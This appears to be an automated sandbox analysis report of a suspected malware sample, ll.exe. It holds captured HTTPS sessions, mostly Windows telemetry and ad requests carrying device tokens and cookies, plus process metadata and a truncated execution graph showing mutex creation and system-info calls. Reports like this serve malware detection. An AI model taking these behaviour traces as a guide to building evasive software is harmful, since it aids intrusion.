Content-Length: 76344
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: MUID=1E17B9B70E9B4C6E957D159ED3646FFF; _SS=CPID=1649437283858&AC=1&CPH=4ef661f2; SRCHUID=V=2&GUID=C051922770D44EDAB6B540D172E9CCE7&dmnchg=1; BM-Identity-Error=3002; SRCHD=AF=NOFORM; SUID=M; SRCHUSR=DOB=20220408; SRCHHPGUSR=SRCHLANG=en; ANON=A=E6EAEF30D7E9C145923C068AFFFFFFFF; MUIDB=1E17B9B70E9B4C6E957D159ED3646FFF
2022-04-08 08:03:46 UTC9229OUTData Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 31 34 44 35 41 36 39 41 42 45 46 46 36 39 36 32 30 31 34 35 41 44 30 35 42 46 43 37 36 38 35 38 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 49 51 75 65 75 65 45 72 72 6f 72 3c 2f 54 3e 3c 49 47 3e 38 33 63 61 66 37 65 37 37 64 30 62 34 35 63 65 61 35 64 37 62 32 35 33 31 39 63 34 31 30 63 33 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 43 46 22 3a 22 70 62 69 74 63 70 64 69 73 61 62 6c 65 64 2c 41 6d 62
Data Ascii: <ClientInstRequest><CID>14D5A69ABEFF69620145AD05BFC76858</CID><Events><E><T>Event.CIQueueError</T><IG>83caf7e77d0b45cea5d7b25319c410c3</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","CF":"pbitcpdisabled,Amb
2022-04-08 08:03:46 UTC9245OUTData Raw: 4e 61 6d 65 22 3a 22 76 32 2e 38 22 2c 22 53 56 22 3a 22 34 22 2c 22 50 22 3a 7b 22 43 22 3a 37 2c 22 4e 22 3a 32 2c 22 49 22 3a 22 34 72 74 22 2c 22 53 22 3a 22 4d 54 2b 55 22 2c 22 4d 22 3a 22 56 2b 4c 2b 4d 2b 4d 54 2b 45 2b 4e 2b 43 2b 4b 2b 42 44 22 2c 22 54 22 3a 31 31 39 33 39 2c 22 4b 22 3a 22 38 6c 6d 2b 38 6d 65 2b 38 71 69 2b 39 37 68 2b 38 68 68 2b 38 6a 71 2b 38 6d 64 2b 38 6d 6e 2b 38 6f 6f 22 2c 22 46 22 3a 31 7d 2c 22 4c 22 3a 22 40 66 2f 39 2f 44 49 56 23 53 57 2f 2f 30 2f 35 30 2f 39 6b 2f 31 30 2f 61 2f 54 2f 2d 31 2b 40 66 2f 61 2f 44 49 56 23 67 72 31 31 2f 2f 30 2f 34 34 2f 39 6b 2f 77 2f 39 2f 54 2f 2d 31 2b 40 66 2f 62 2f 40 32 2f 2f 30 2f 34 34 2f 39 6b 2f 31 77 2f 37 2f 4d 54 2f 2d 31 2b 40 67 2f 63 2f 49 4d 47 2f 2f 73 2f 33 36
Data Ascii: Name":"v2.8","SV":"4","P":{"C":7,"N":2,"I":"4rt","S":"MT+U","M":"V+L+M+MT+E+N+C+K+BD","T":11939,"K":"8lm+8me+8qi+97h+8hh+8jq+8md+8mn+8oo","F":1},"L":"@f/9/DIV#SW//0/50/9k/10/a/T/-1+@f/a/DIV#gr11//0/44/9k/w/9/T/-1+@f/b/@2//0/44/9k/1w/7/MT/-1+@g/c/IMG//s/36
2022-04-08 08:03:46 UTC9261OUTData Raw: 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 43 46 22 3a 22 70 62 69 74 63 70 64 69 73 61 62 6c 65 64 2c 41 6d 62 69 65 6e 74 57 69 64 65 73 63 72 65 65 6e 2c 72 73 31 6d 75 73 69 63 70 72 6f 64 2c 43 6f 72 74 61 6e 61 53 50 41 58 61 6d 6c 48 65 61 64 65 72 22 2c 22 65 72 72 6f 72 54 79 70 65 22 3a 22 53 65 6e 64 54 69 6d 65 64 4f 75 74 22 2c 22 66 61 69 6c 43 6f 75 6e 74 22 3a 31 2c 22 54 53 22 3a 31 36 34 36 37 35 37 30 35 33 35 33 35 2c 22 52 54 53 22 3a 31 30 36 33 30 2c 22 53 45 51 22 3a 33 2c 22 55 54 53 22 3a 31 36 34 39 34 33 37 34 32 35 39 39 30 7d 5d 5d 3e 3c 2f 44 3e 3c 54 53 3e 31 36 34 36 37 35 37 30 35 33 35 33 35 3c 2f 54 53 3e 3c
Data Ascii: om/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","CF":"pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader","errorType":"SendTimedOut","failCount":1,"TS":1646757053535,"RTS":10630,"SEQ":3,"UTS":1649437425990}...</D><TS>1646757053535</TS><
2022-04-08 08:03:46 UTC9277OUTData Raw: 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 43 46 22 3a 22 70 62 69 74 63 70 64 69 73 61 62 6c 65 64 2c 41 6d 62 69 65 6e 74 57 69 64 65 73 63 72 65 65 6e 2c 72 73 31 6d 75 73 69 63 70 72 6f 64 2c 43 6f 72 74 61 6e 61 53 50 41 58 61 6d 6c 48 65 61 64 65 72 22 2c 22 45 6e 72 69 63 68 65 64 43 6c 69 65 6e 74 49 6e 66 6f 22 3a 7b 22 4d 55 49 44 22 3a 22 31 45 31 37 42 39 42 37 30 45 39 42 34 43 36 45 39 35 37 44 31 35 39 45 44 33 36 34 36 46 46 46 22 2c 22 41 43 56 65 72 22 3a 22 34 65 66 36 36 31 66 32 22 2c 22 46 44 50 61 72 74 6e 65 72 45 6e 74
Data Ascii: DATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","CF":"pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader","EnrichedClientInfo":{"MUID":"1E17B9B70E9B4C6E957D159ED3646FFF","ACVer":"4ef661f2","FDPartnerEnt
2022-04-08 08:03:46 UTC9293OUTData Raw: 49 64 22 3a 22 53 54 48 5f 38 64 30 36 66 38 33 63 2d 64 61 35 38 2d 34 63 30 32 2d 38 66 65 38 2d 62 61 32 63 30 34 39 64 39 38 30 39 22 7d 7d 2c 7b 22 54 22 3a 22 44 2e 53 54 22 2c 22 41 70 70 4e 53 22 3a 22 53 6d 61 72 74 53 65 61 72 63 68 22 2c 22 53 65 72 76 69 63 65 22 3a 22 41 75 74 6f 53 75 67 67 65 73 74 22 2c 22 53 63 65 6e 61 72 69 6f 22 3a 22 53 54 22 2c 22 53 43 22 3a 34 2c 22 44 53 22 3a 5b 7b 22 54 22 3a 22 44 2e 55 72 6c 22 2c 22 4b 22 3a 31 30 30 31 2c 22 51 22 3a 22 43 68 65 63 6b 20 66 6f 72 20 75 70 64 61 74 65 73 22 2c 22 4d 51 22 3a 22 75 70 64 61 74 65 73 22 2c 22 56 61 6c 22 3a 22 53 54 22 2c 22 48 6f 22 3a 32 2c 22 47 72 22 3a 31 2c 22 44 65 76 69 63 65 53 69 67 6e 61 6c 73 22 3a 7b 22 52 61 6e 6b 22 3a 36 30 39 37 2c 22 50 48 69
Data Ascii: Id":"STH_8d06f83c-da58-4c02-8fe8-ba2c049d9809"}},{"T":"D.ST","AppNS":"SmartSearch","Service":"AutoSuggest","Scenario":"ST","SC":4,"DS":[{"T":"D.Url","K":1001,"Q":"Check for updates","MQ":"updates","Val":"ST","Ho":2,"Gr":1,"DeviceSignals":{"Rank":6097,"PHi
2022-04-08 08:03:46 UTC9304INHTTP/1.1 204 No Content
Access-Control-Allow-Origin: *
X-Cache: CONFIG_NOCACHE
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
X-MSEdge-Ref: Ref A: 1DB273A35AE14AF4BDEF758C6C79AABC Ref B: FRA31EDGE0612 Ref C: 2022-04-08T08:03:46Z
Date: Fri, 08 Apr 2022 08:03:46 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
76192.168.2.35005520.199.120.182443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:55 UTC9304OUTData Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 65 30 34 38 62 38 62 33 36 62 35 38 39 62 34 0d 0a 0d 0a
Data Ascii: CNT 1 CON 246Context: ce048b8b36b589b4
2022-04-08 08:03:55 UTC9304OUTData Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-04-08 08:03:55 UTC9305OUTData Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 65 30 34 38 62 38 62 33 36 62 35 38 39 62 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 77 65 75 52 78 64 54 45 52 58 49 34 58 73 61 55 64 61 66 67 57 47 68 6d 46 42 32 63 6a 51 30 2b 6c 52 4d 56 52 66 4d 58 33 46 77 79 4e 35 6e 68 5a 42 49 69 50 59 61 52 4e 51 2f 64 77 71 38 33 2f 58 59 37 5a 42 55 72 6d 54 65 77 44 66 6a 2f 57 6d 4f 6e 51 35 6b 4e 32 56 76 44 35 75 46 4d 37 47 6a 4c 78 56 73 37 55 78 36 70 69 69 71 41 6d 6c 4d 6d 4e 7a 57 34 6d 36 7a 78 2f 52 66 32 38 74 48 6b 4a 46 73
Data Ascii: ATH 2 CON\DEVICE 1014Context: ce048b8b36b589b4<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQweuRxdTERXI4XsaUdafgWGhmFB2cjQ0+lRMVRfMX3FwyN5nhZBIiPYaRNQ/dwq83/XY7ZBUrmTewDfj/WmOnQ5kN2VvD5uFM7GjLxVs7Ux6piiqAmlMmNzW4m6zx/Rf28tHkJFs
2022-04-08 08:03:55 UTC9306OUTData Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 65 30 34 38 62 38 62 33 36 62 35 38 39 62 34 0d 0a 0d 0a
Data Ascii: BND 3 CON\QOS 29Context: ce048b8b36b589b4
2022-04-08 08:03:55 UTC9306INData Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a
Data Ascii: 202 1 CON 58
2022-04-08 08:03:55 UTC9306INData Raw: 4d 53 2d 43 56 3a 20 32 64 66 6c 33 38 46 32 45 30 4b 4c 72 41 2f 6f 37 39 71 36 61 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e
Data Ascii: MS-CV: 2dfl38F2E0KLrA/o79q6aw.0Payload parsing failed.


Session IDSource IPSource PortDestination IPDestination PortProcess
8192.168.2.34998720.82.210.154443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:27 UTC34OUTGET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170226Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5f4b6c89b2c846609f3e1f553bb48a37&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-338388&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=
Cache-Control: no-cache
MS-CV: BYqskdYKuUKf7ZeJ.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
2022-04-08 08:02:27 UTC36INHTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 4481
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P400091688-T700129702-C128000000000402926+B+P20+S1"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: VD4O9BkESblBx60f1cBmGuMM2uj8Kq0b/vU27/y6foRFXMt19pK8EOASr689fmykp+9aonifo5/MaVZkdgn9hi7MgstWV8iFe2nXKHD57Oo+TtCi37X0AVmVx7L8vT7Q1tp+URr4DDzubSDW8v+sJ/XnciC1GCC5VFPEI1nvmw4Dow3BjhXF8/4SszyGDafm+AjmAU8Pott2vLH819o8T+e8msblSoXLbv0m23cZRyqQCLdBFoPdqZrBaNzJtRBpwzIVe06Z6rJPB4QAtcuZoqVs4U3ysSE+nykNIyuMRgfwmqOgFGjdssNFBaLmZ+GtpHmPo98urtvsyn/19A6jjQ==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 08 Apr 2022 08:02:27 GMT
Connection: close
2022-04-08 08:02:27 UTC37INData Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":{\"t


Session IDSource IPSource PortDestination IPDestination PortProcess
9192.168.2.34998820.82.210.154443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:28 UTC67OUTGET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170227Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=19c443aabf954506a4b84500aa0b4498&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-338389&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=
Cache-Control: no-cache
MS-CV: BYqskdYKuUKf7ZeJ.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
2022-04-08 08:02:28 UTC69INHTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3067
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: ceFbxwQlPsk2VUOjfT/2SElGq4kbjxH8r1U7pK0kug3QxBt8bGcGiep/s7/hhh/Jre1sQPC7XJ/NtTvIiz6+wyRhwjqCcAklyOpKg+sanJp7DsfGyryJPuPoi6v7n1g933MCO+BJ8FlgSbtizkyNWNuppUuOHVaxl2xS7sjrcc48AV770iRUIIMJ60SSk9q24pf+C9v67qvrfdWmPfbfHe9ugWftctLrcjbovtUfBd43dd45lSmrIQNgkuZRMjKskEmdJbsv+O/rTRMiUaLqC76Toe+knsWs/5Ezq9w34zYvbgbfrVGjaD3QKFfHEI9kmKi6taRcWu5lj1Bc03FEjA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 08 Apr 2022 08:02:27 GMT
Connection: close
2022-04-08 08:02:28 UTC70INData Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti


Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

General

Target ID:1
Start time:10:01:35
Start date:08/04/2022
Path:C:\Users\user\Desktop\ll.exe
Wow64 process (32bit):true
Commandline:"C:\Users\user\Desktop\ll.exe"
Imagebase:0xf20000
File size:179712 bytes
MD5 hash:F746EA39C0C5FF9D0A1F2D250170AD80
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:low

Disassembly

Reset < >

    Execution Graph

    Execution Coverage:18.3%
    Dynamic/Decrypted Code Coverage:0%
    Signature Coverage:36.8%
    Total number of Nodes:1774
    Total number of Limit Nodes:24
    execution_graph 13148 f23b69 13151 f23cf0 13148->13151 13150 f23b7d 13152 f23d02 13151->13152 13153 f23cfa 13151->13153 13154 f23d40 13152->13154 13155 f23d09 13152->13155 13153->13150 13158 f37f8b Concurrency::cancel_current_task RaiseException 13154->13158 13156 f23d12 13155->13156 13157 f23d31 13155->13157 13159 f23d45 13156->13159 13160 f23d19 13156->13160 13161 f37c92 new 22 API calls 13157->13161 13158->13159 13164 f37f8b Concurrency::cancel_current_task RaiseException 13159->13164 13162 f37c92 new 22 API calls 13160->13162 13163 f23d37 13161->13163 13165 f23d1f 13162->13165 13163->13150 13166 f23d4a 13164->13166 13165->13150 9902 f37d96 9903 f37da2 ___BuildCatchObject 9902->9903 9929 f3803e 9903->9929 9905 f37da9 9907 f37dd2 9905->9907 10043 f38344 IsProcessorFeaturePresent 9905->10043 9911 f37e11 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 9907->9911 9940 f3a342 9907->9940 9913 f37e71 9911->9913 10047 f3a604 9911->10047 9912 f37df1 ___BuildCatchObject 9948 f3845f 9913->9948 9920 f37e8c 10053 f3a513 GetModuleHandleW 9920->10053 9923 f37e9d 9925 f37ea6 9923->9925 10058 f3a5df 9923->10058 10061 f381b5 9925->10061 9930 f38047 9929->9930 10067 f385ab IsProcessorFeaturePresent 9930->10067 9934 f38058 9939 f3805c 9934->9939 10078 f3ac64 9934->10078 9937 f38073 9937->9905 9939->9905 9941 f3a359 9940->9941 9942 f37a82 CatchGuardHandler 5 API calls 9941->9942 9943 f37deb 9942->9943 9943->9912 9944 f3a2e6 9943->9944 9946 f3a315 9944->9946 9945 f37a82 CatchGuardHandler 5 API calls 9947 f3a33e 9945->9947 9946->9945 9947->9911 10160 f39000 9948->10160 9951 f37e77 9952 f3a293 9951->9952 10162 f3be9d 9952->10162 9954 f3a29c 9956 f37e80 9954->9956 10166 f3c228 9954->10166 9957 f30960 9956->9957 10723 f22880 9957->10723 9959 f30982 10730 f21aa0 9959->10730 9961 f30987 9962 f30a68 CreateMutexA 9961->9962 11021 f222a0 9961->11021 9964 f30a7d 9962->9964 9969 f30a89 9962->9969 9966 f222a0 6 API calls 9964->9966 9965 f30a5e 9965->9962 9966->9969 9967 f37a82 CatchGuardHandler 5 API calls 9970 f30cfe 9967->9970 9968 f30ab8 10776 f30580 9968->10776 9969->9968 9971 f222a0 6 API calls 9969->9971 9996 f30ce5 9969->9996 9970->9920 9971->9968 9973 f30acb 9974 f30aed GetNativeSystemInfo 9973->9974 9975 f222a0 6 API calls 9973->9975 9976 f30b01 9974->9976 9977 f30ae3 9975->9977 9978 f37430 22 API calls 9976->9978 9993 f30b19 9976->9993 9977->9974 9980 